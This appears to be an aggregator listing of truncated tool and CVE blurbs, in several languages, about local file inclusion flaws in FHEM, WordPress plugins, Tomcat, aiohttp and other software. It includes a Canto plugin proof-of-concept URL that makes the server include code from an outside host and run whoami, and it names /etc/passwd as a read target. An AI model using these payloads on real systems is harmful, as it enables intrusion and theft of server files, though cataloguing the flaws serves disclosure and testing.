CVE-2020-19360

Fhem FileLoglogWrapper 任意文件读取漏洞 CVE-2020-19360 漏洞描述 FHEM在6.0版本中存在文件包含漏洞，该漏洞源于允许FHEM/FileLoglogWrapper file参数允许攻击者包含文件，攻击者可以利用此漏洞导致敏感信息泄露。 漏洞影响 FHEM 6.0 网络测绘 title=="Home, Sweet Home" 漏洞复现...

CVE-2023-6553

CVE-2023-6553 Inclusión de archivos en PHP que conduce a RCE — Plugin Backup Migration Plugin: Backup Migration backup-backup ≤ 1.3.7 CVSS: 9.8 Crítico CWE: CWE-98 — Control inadecuado del nombre de archivo para la declaración Include/Require Requisito de autenticación: Ninguno Impacto: Ejecución...

Essential-Blocks-4.4.3---Unauthenticated-Local-File-Inclusion

Essential-Blocks-4.4.3---Unauthenticated-Local-File-Inclusion El plugin no impide que atacantes no autenticados sobrescriban variables locales al renderizar plantillas a través de la API REST, lo que puede conducir a ataques de inclusión local de archivos Local File Inclusion. Uso: root@kitploit:...

nginx_log_check

nginxlogcheck Nginx日志安全分析脚本 功能 统计Top 20 地址 SQL注入分析 扫描器告警分析 漏洞利用检测 敏感路径访问 文件包含攻击 Webshell 寻找响应长度的url Top 20 寻找罕见的脚本文件访问 寻找302跳转的脚本文件 Usage 设置报告保存地址 outfile 设置日志分析目录 accessdir 设置日志名称 accesslog ./nginxcheck.sh 参考 nmgxy klionsec...

LFiFreak

LFI Freak 功能特点 支持 Windows、Linux 和 OS X 包含 Windows 和 Linux 的绑定与反弹 Shell 使用 Python 2.7 编写 这是关于什么的？ 一款利用 PHP Input、PHP Filter 和 Data URI 方法来利用本地文件包含漏洞的独特工具。 依赖项 BeautifulSoup 免责声明 本人对您造成的任何非法行为概不负责。本工具旨在供渗透测试人员用于道德目的。如果您计划复制或重新分发，请注明原作者。 视频：http://youtu.be/g0SHHV7DHx8...

CVE-2024-54374

CVE-2024-54374 Sogrid = 1.5.6 - Unauthenticated Local File Inclusion Description The Sogrid plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 1.5.6. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server...

CVE-2025-49132

CVE-2025-49132 - Pterodactyl Panel Unauthenticated RCE root@kitploit: / |\ \ / /| | | / | | | | || | / | || / | | \ V / | || / / | |/ / | | | | , /| || \ / / | / || /| //||/ || // ||/ /| Exploit for Pterodactyl Panel ≤ 1.11.10 - unauthenticated LFI to RCE. 漏洞详情...

CVE-2020-25068

CVE-2020-25068 Exploit en Python para Conacwin v3.7.1.2. Setelsa Conacwin v3.7.1.2 es vulnerable a una vulnerabilidad de inclusión de archivos locales. Esta vulnerabilidad permite a un atacante remoto no autenticado leer archivos internos en el servidor a través de una URI de Directory Traversal...

Lfi-Space

🪐 LFI-SPACE 工具 🪐 由 TMRSWRR 编写 版本 1.0.0 一体化工具，用于 LFI 漏洞查找 - LFI Dork 查找 Instagram: TMRSWRR 📷 截图 📷 👇 💫 使用方法 💫 👇 📒 自述文件 📒 LFI Space 是一款专为检测 Web 应用程序中本地文件包含（LFI）漏洞而设计的强大高效工具。该工具通过利用两种不同的扫描方法（Google Dork 搜索和定向 URL 扫描）简化了识别潜在安全缺陷的过程。凭借其全面的方法，LFI Space 帮助安全专业人员、渗透测试人员和道德黑客评估 Web 应用程序的安全状况。 LFI Space 中的...

CVE-2020-1938TomcatAjpScanner

CVE-2020-1938TomcatAjpScanner Escaneo masivo de la vulnerabilidad Tomcat AJP Detalles de la vulnerabilidad El 6 de enero de 2020, la plataforma nacional de intercambio de información sobre vulnerabilidades de seguridad CNVD registró la vulnerabilidad de inclusión de archivos de Apache Tomcat...

FDsploit

一个文件包含与目录遍历的模糊测试、枚举与利用工具。 FDsploit 菜单： root@kitploit: $ python fdsploit.py -h | | \ | ||| | | | | | -| . | | . | | | || |/|| ||||| ||...ver. 1.2 Author: Christoforos Petrou game0ver ! usage: fdsploit.py -u | -f -h -p -d -e 0,1,2 -t -b -x -c -v --params ... -k -a --cmd --lfishell...

CVE-2023-4698

CVE-2023-4698 usememos/memos 0.13.2 中的本地文件包含LFI漏洞 描述 今天，我想聚焦一项重大发现——在 usememos/memos 中识别出一个关键安全漏洞。该漏洞属于本地文件包含LFI类别，对运行版本低于 0.13.2 的 usememos/memos 系统构成严重威胁。此问题已被分配 CVE 标识符 CVE-2023–4698。在这篇博客中，我们将剖析此漏洞，理解其影响，并强调修复它的紧迫性。 理解 LFI 漏洞...

bst

Binary String Toolkit Summary The Binary String Toolkit or BST for short is a rather simple utility to convert binary strings to various formats suitable for inclusions in source codes, such as those used to develop exploits and Proof of Concepts in the security field. Features Convert and dump...

CVE-2021-41773

Escáner CVE-2021-41773 Este script prueba la vulnerabilidad de path traversal y local file inclusion en Apache versión 2.4.29; este script no devuelve archivos locales, simplemente escanea el servidor web y te indica si es vulnerable o no. Uso: python3 cve-2021-41773-scanner.py IPv4 address...

CVE-2022-46364-htb-ctf

DevArea SOAP 利用工具 CVE-2022-46364 描述 此专用漏洞利用工具针对 Hack The Box 上的 DevArea 环境。它利用 Apache CXF 3.2.14 中的一个关键漏洞 CVE-2022-46364 来执行 本地文件包含 LFI 和 服务器端请求伪造 SSRF 。 该脚本滥用了 MTOM/XOP （消息传输优化机制）处理引擎。通过注入一个 元素，我们强制服务器的 AttachmentDeserializer 获取本地系统文件或内部网络资源，并将它们反射回 SOAP 响应中。 特性 自动化的多部分构造： 处理触发 XOP 处理所需的复杂...

LFI-aiohttp-CVE-2024-23334-PoC

LFI-aiohttp-CVE-2024-23334-PoC Un script de Bash para automatizar ataques de inclusión local de archivos LFI contra servidores aiohttp vulnerables, dirigido específicamente a CVE-2024-23334. Este exploit permite el acceso no autorizado a archivos arbitrarios en sistemas que ejecutan versiones...

CVE-2020-1938

CVE-2020-1938-tomcat-文件下载+文件包含 Tomcat-Ajp协议文件读取漏】 源poc来源：https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC/blob/master/poc.py 修改后可包含文件，在某些条件下可以执行命令...

CVE-2023-3452-PoC

CVE-2023-3452-PoC - WordPress 插件 Canto ，就可以远程执行代码。 root@kitploit: http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wpabspath=http://192.168.1.33:8080&cmd=whoami 所有这些已经在 Python 利用工具 CVE-202...

CVE-2024-56331

CVE-2024-56331 Uptime-Kuma : Real-Browser 监控中的不当 URL 处理导致本地文件包含 LFI 摘要 一个不当的 URL 处理漏洞 允许攻击者通过利用 file:/// 协议访问服务器上的敏感本地文件。该漏洞通过 "real-browser" 请求类型触发，该类型会截取攻击者提供的 URL 的屏幕截图。通过提供本地文件路径（例如 file:///etc/passwd），攻击者可以读取服务器上的敏感数据。 详细信息 该漏洞的产生原因是系统未对 URL 字段的用户输入进行适当的验证或清理。具体如下： 1. URL...

CVE-2019-14322

CVE-2019-14322 针对 faisalfs10x 漏洞利用的修改：CVE-2019-14322 概念验证：路径名到受限目录的限制不当（“路径遍历”） https://www.acunetix.com/vulnerabilities/web/odoo-lfi-cve-2019-14322/ https://nvd.nist.gov/vuln/detail/CVE-2019-14322 描述 在 Pallets Werkzeug 0.15.4 及之前版本中发现了一个漏洞，已被评为严重级别。该漏洞影响 Windows 组件的 SharedDataMiddleware...